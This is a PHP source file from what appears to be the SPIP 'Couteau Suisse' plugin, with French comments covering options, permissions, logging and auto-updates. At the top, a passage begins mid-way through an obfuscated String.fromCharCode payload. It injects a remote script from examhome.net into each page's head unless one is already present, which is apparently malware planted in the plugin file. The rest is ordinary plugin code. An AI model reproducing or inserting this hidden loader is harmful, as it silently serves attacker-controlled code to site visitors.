6, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125)); // - le code pour les pipelines utilises global $cs_metas_pipelines; $cs_metas_pipelines = array(); // alias pour passer en mode impression if ( in_array('print', $GLOBALS['cs_params']) || (isset($_GET['page']) && in_array($_GET['page'], array('print','imprimer','imprimir_articulo','imprimir_breve','article_pdf'))) ) define('_CS_PRINT', 1); // recherche des fichiers a inclure : si les fichiers sont absents, on recompilera le plugin // fichiers testes : tmp/couteau-suisse/mes_options.php et tmp/couteau-suisse/mes_spip_options.php $cs_exists = file_exists($f_mo = _DIR_CS_TMP.'mes_options.php'); $f_mso = _DIR_CS_TMP.'mes_spip_options.php'; if(!(isset($GLOBALS['cs_spip_options']) && $GLOBALS['cs_spip_options'])) $cs_exists &= file_exists($f_mso); if(!$cs_exists) cs_log(" -- '$f_mo' ou '$f_mso' introuvable !"); // lancer l'initialisation du plugin. on force la compilation si cs=calcul include_once(_DIR_PLUGIN_COUTEAU_SUISSE.'cout_lancement.php'); cs_initialisation(!$cs_exists || in_array('calcul', $GLOBALS['cs_params'])); if(defined('_LOG_CS')) cs_log("PUIS : couteau_suisse_options, initialisation terminee"); // inclusion des options hautes de SPIP, si ce n'est pas deja fait par config/mes_options.php if(!(isset($GLOBALS['cs_spip_options']) && $GLOBALS['cs_spip_options'])) { if(file_exists($f_mso)) { if(defined('_LOG_CS')) cs_log(" -- inclusion de '$f_mso'"); include_once($f_mso); } else cs_log(" -- fichier '$f_mso' toujours introuvable !!"); } else cs_log(" -- fichier '$f_mso' deja inclu par config/mes_options.php"); // inclusion des options pre-compilees du Couteau Suisse, si ce n'est pas deja fait... if (!$GLOBALS['cs_options']) { if(file_exists($f_mo)) { if(defined('_LOG_CS')) cs_log(" -- inclusion de '$f_mo'"); include_once($f_mo); // verification cardinale des metas : reinitialisation si une erreur est detectee if (count($metas_outils)<>$GLOBALS['cs_verif']) { cs_log("ERREUR : metas incorrects - verif = $GLOBALS[cs_verif]"); cs_initialisation(true); if (!$GLOBALS['cs_verif']) { if(file_exists($f_mso)) include_once($f_mso); if(file_exists($f_mo)) include_once($f_mo); } } } else cs_log(" -- fichier '$f_mo' toujours introuvable !!"); } else cs_log(" -- pas d'inclusion de '$f_mo' ; on est deja passe par ici !?"); // si une recompilation a eu lieu... if ($GLOBALS['cs_utils']) { // lancer la procedure d'installation pour chaque outil if(defined('_LOG_CS')) cs_log(' -- cs_installe_outils...'); cs_installe_outils(); if(in_array('calcul', $GLOBALS['cs_params'])) { include_spip('inc/headers'); redirige_par_entete(parametre_url($GLOBALS['REQUEST_URI'],'cs',str_replace('calcul','ok',join(',',$GLOBALS['cs_params'])),'&')); } } // a-t-on voulu inclure couteau_suisse_fonctions.php ? if (isset($GLOBALS['cs_fonctions_essai']) && $GLOBALS['cs_fonctions_essai']) { if(defined('_LOG_CS')) cs_log(" -- lancement de cs_charge_fonctions()"); cs_charge_fonctions(); } if(defined('_LOG_CS')) cs_log(" FIN : couteau_suisse_options, cs_spip_options = $GLOBALS[cs_spip_options], cs_options = $GLOBALS[cs_options], cs_fonctions_essai = ".((isset($GLOBALS['cs_fonctions_essai']) && $GLOBALS['cs_fonctions_essai'])?1:0)); } // Droits pour configurer le Couteau Suisse (fonction surchargeable sans le _dist) // Droits par defaut equivalents a 'configurer' les 'plugins', donc tous les administrateurs non restreints function autoriser_cs_configurer_dist($faire, $type, $id, $qui, $opt) { return autoriser('configurer', 'plugins', $id, $qui, $opt); } // Droits pour afficher le bouton du Couteau Suisse dans le bandeau de SPIP function autoriser_csconfig_bouton_dist($faire, $type, $id, $qui, $opt) { return autoriser('configurer', 'cs', $id, $qui, $opt); // SPIP < 3.0 } function autoriser_csconfig_menu_dist($faire, $type, $id, $qui, $opt) { return autoriser('configurer', 'cs', $id, $qui, $opt); // SPIP >= 3.0 } // Droits pour voir/manipuler un outil du Couteau Suisse // $opt doit representer ici l'outil concerne : $outil // Si $opt['autoriser'] (code PHP) n'est pas renseigne, ces droits natifs sont toujours accordes function autoriser_outil_configurer_dist($faire, $type, $id, $qui, $opt) { if(!is_array($opt)) return autoriser('configurer', 'cs', $id, $qui, $opt); // test sur la version de SPIP $test = !cs_version_erreur($opt) // autorisation d'un outil en particulier && autoriser('configurer', 'outil_'.$opt['id'], $id, $qui, $opt) // autorisation de la categorie de l'outil && autoriser('configurer', 'categorie_'.$opt['categorie'], $id, $qui, $opt); if($test && isset($opt['autoriser'])) eval('$test &= '.$opt['autoriser'].';'); return $test; } // Droits pour modifier une variable du Couteau Suisse // $opt doit contenir le nom de la variable et le tableau de l'outil appelant function autoriser_variable_configurer_dist($faire, $type, $id, $qui, $opt) { return autoriser('configurer', 'cs', $id, $qui, $opt) && autoriser('configurer', 'outil_'.$opt['outil']['id'], $id, $qui, $opt['outil']) && autoriser('configurer', 'variable_'.$opt['nom'], $id, $qui, $opt['outil']); } if(!defined('_SPIP20100')) { // Bug SPIP 2.0.x function autoriser_cs_configurer($faire, $type, $id, $qui, $opt) { return autoriser_cs_configurer_dist($faire, $type, $id, $qui, $opt); } function autoriser_outil_configurer($faire, $type, $id, $qui, $opt) { return autoriser_outil_configurer_dist($faire, $type, $id, $qui, $opt); } function autoriser_variable_configurer($faire, $type, $id, $qui, $opt) { return autoriser_variable_configurer_dist($faire, $type, $id, $qui, $opt); } } // TODO : revoir eventuellement tout ca avec la syntaxe de function cs_version_erreur(&$outil) { return (isset($outil['version-min']) && version_compare($GLOBALS['spip_version_code'], $outil['version-min'], '<')) || (isset($outil['version-max']) && version_compare($GLOBALS['spip_version_code'], $outil['version-max'], '>')); } // Logs de tmp/spip.log function cs_log($variable, $prefixe='', $stat='') { static $rand; if($stat) $rand = $stat; if (!is_string($variable)) $variable = var_export($variable, true); if(!defined('_LOG_CS') /*|| !defined('_CS_REPORTALL')*/ || !strlen($variable)) return; spip_log($variable = $rand.$prefixe.$variable); if (defined('_CS_REPORTALL')) echo '
',htmlentities($variable); } // Message de sortie si la zone est non autorisee function cs_minipres($exit=-1) { if($exit===-1) { include_spip('inc/autoriser'); $exit = !autoriser('configurer', 'cs'); } if($exit) { include_spip('inc/minipres'); echo minipres(); exit; } } // Dates function cs_date() { return date(_T('couteau:date_court', array('jour'=>'d', 'mois'=>'m', 'annee'=>'y'))); } function cs_date_long($numdate) { $date_array = recup_date($numdate); if (!$date_array) return '?'; list($annee, $mois, $jour, $heures, $minutes, $sec) = $date_array; if(!defined('_SPIP19300')) list($heures, $minutes) =array(heures($numdate), minutes($numdate)); return _T('couteau:stats_date', array('jour'=>$jour, 'mois'=>$mois, 'annee'=>substr($annee,2), 'h'=>$heures, 'm'=>$minutes, 's'=>$sec)); } function cs_date_court($numdate) { $date_array = recup_date($numdate); if (!$date_array) return '?'; list($annee, $mois, $jour) = $date_array; return _T('couteau:date_court', array('jour'=>$jour, 'mois'=>$mois, 'annee'=>substr($annee,2))); } // Fichier d'options function cs_spip_file_options($code) { // Config generale $glo = _DIR_RACINE._NOM_PERMANENTS_INACCESSIBLES._NOM_CONFIG.'.php'; // Attention a la mutualisation if(defined('_DIR_SITE')) { // Config locale uniquement $nfo = $fo = _DIR_SITE._NOM_PERMANENTS_INACCESSIBLES._NOM_CONFIG.'.php'; } else { // Fichier de config, s'il est present $fo = (defined('_FILE_OPTIONS') && strlen(_FILE_OPTIONS))?_FILE_OPTIONS:false; // Nom du fichier a creer en cas d'absence $nfo = $glo; } switch($code) { case 1: return $fo; case 2: return $nfo; case 3: return $fo?$fo:$nfo; case 4: return $glo; } } // icones du CS function cs_icone($size, $f='couteau') { $f = $f.'-'.$size.'.png'; if(defined('_SPIP30000')) return $f; return _DIR_PLUGIN_COUTEAU_SUISSE.'prive/themes/spip/images/'.$f; } // balises de tracage, directement compatibles regexpr // le separateur _CS_HTMLX est supprime en fin de calcul @define('_CS_HTMLA', ''); @define('_CS_HTMLB', ''); @define('_CS_HTMLX', ''); // avec paragraphage intempestif : @define('_CS_HTMLX2', '

(?:]*>\s*)?

|'); // nettoyage des separateurs function cs_nettoie($flux) { if(strpos($flux, '"csfoo ')===false) return $flux; return preg_replace(','.(strpos($flux, '

Mettre à jour votre plugin prochainement.')); if(is_array($ids_paquet = _request('ids_paquet'))) { // il s'agit d'une liste de paquets, on donne la main a SVP (SPIP >= 3.0) include_spip('outils/maj_auto_action_rapide'); maj_auto_svp_maj_plugin($ids_paquet); } elseif(intval($id_paquet = _request('url_zip_plugin2'))) { // il s'agit d'un paquet, on donne la main a SVP (SPIP >= 3.0) include_spip('outils/maj_auto_action_rapide'); maj_auto_svp_maj_plugin(array($id_paquet)); } // methode traditionnelle SPIP2, fonctionne egalement sous SPIP3 grace aux 2 lib distantes // lancement de la maj (prise en compte de fichiers fantomes restes apres mise a jour vers SPIP 3) if((include_spip('action/charger_plugin') OR include_spip('lib/maj_auto/distant_action_charger_plugin')) && (include_spip('inc/charger_plugin') OR include_spip('lib/maj_auto/distant_inc_charger_plugin'))) action_charger_plugin_dist(); } } ?>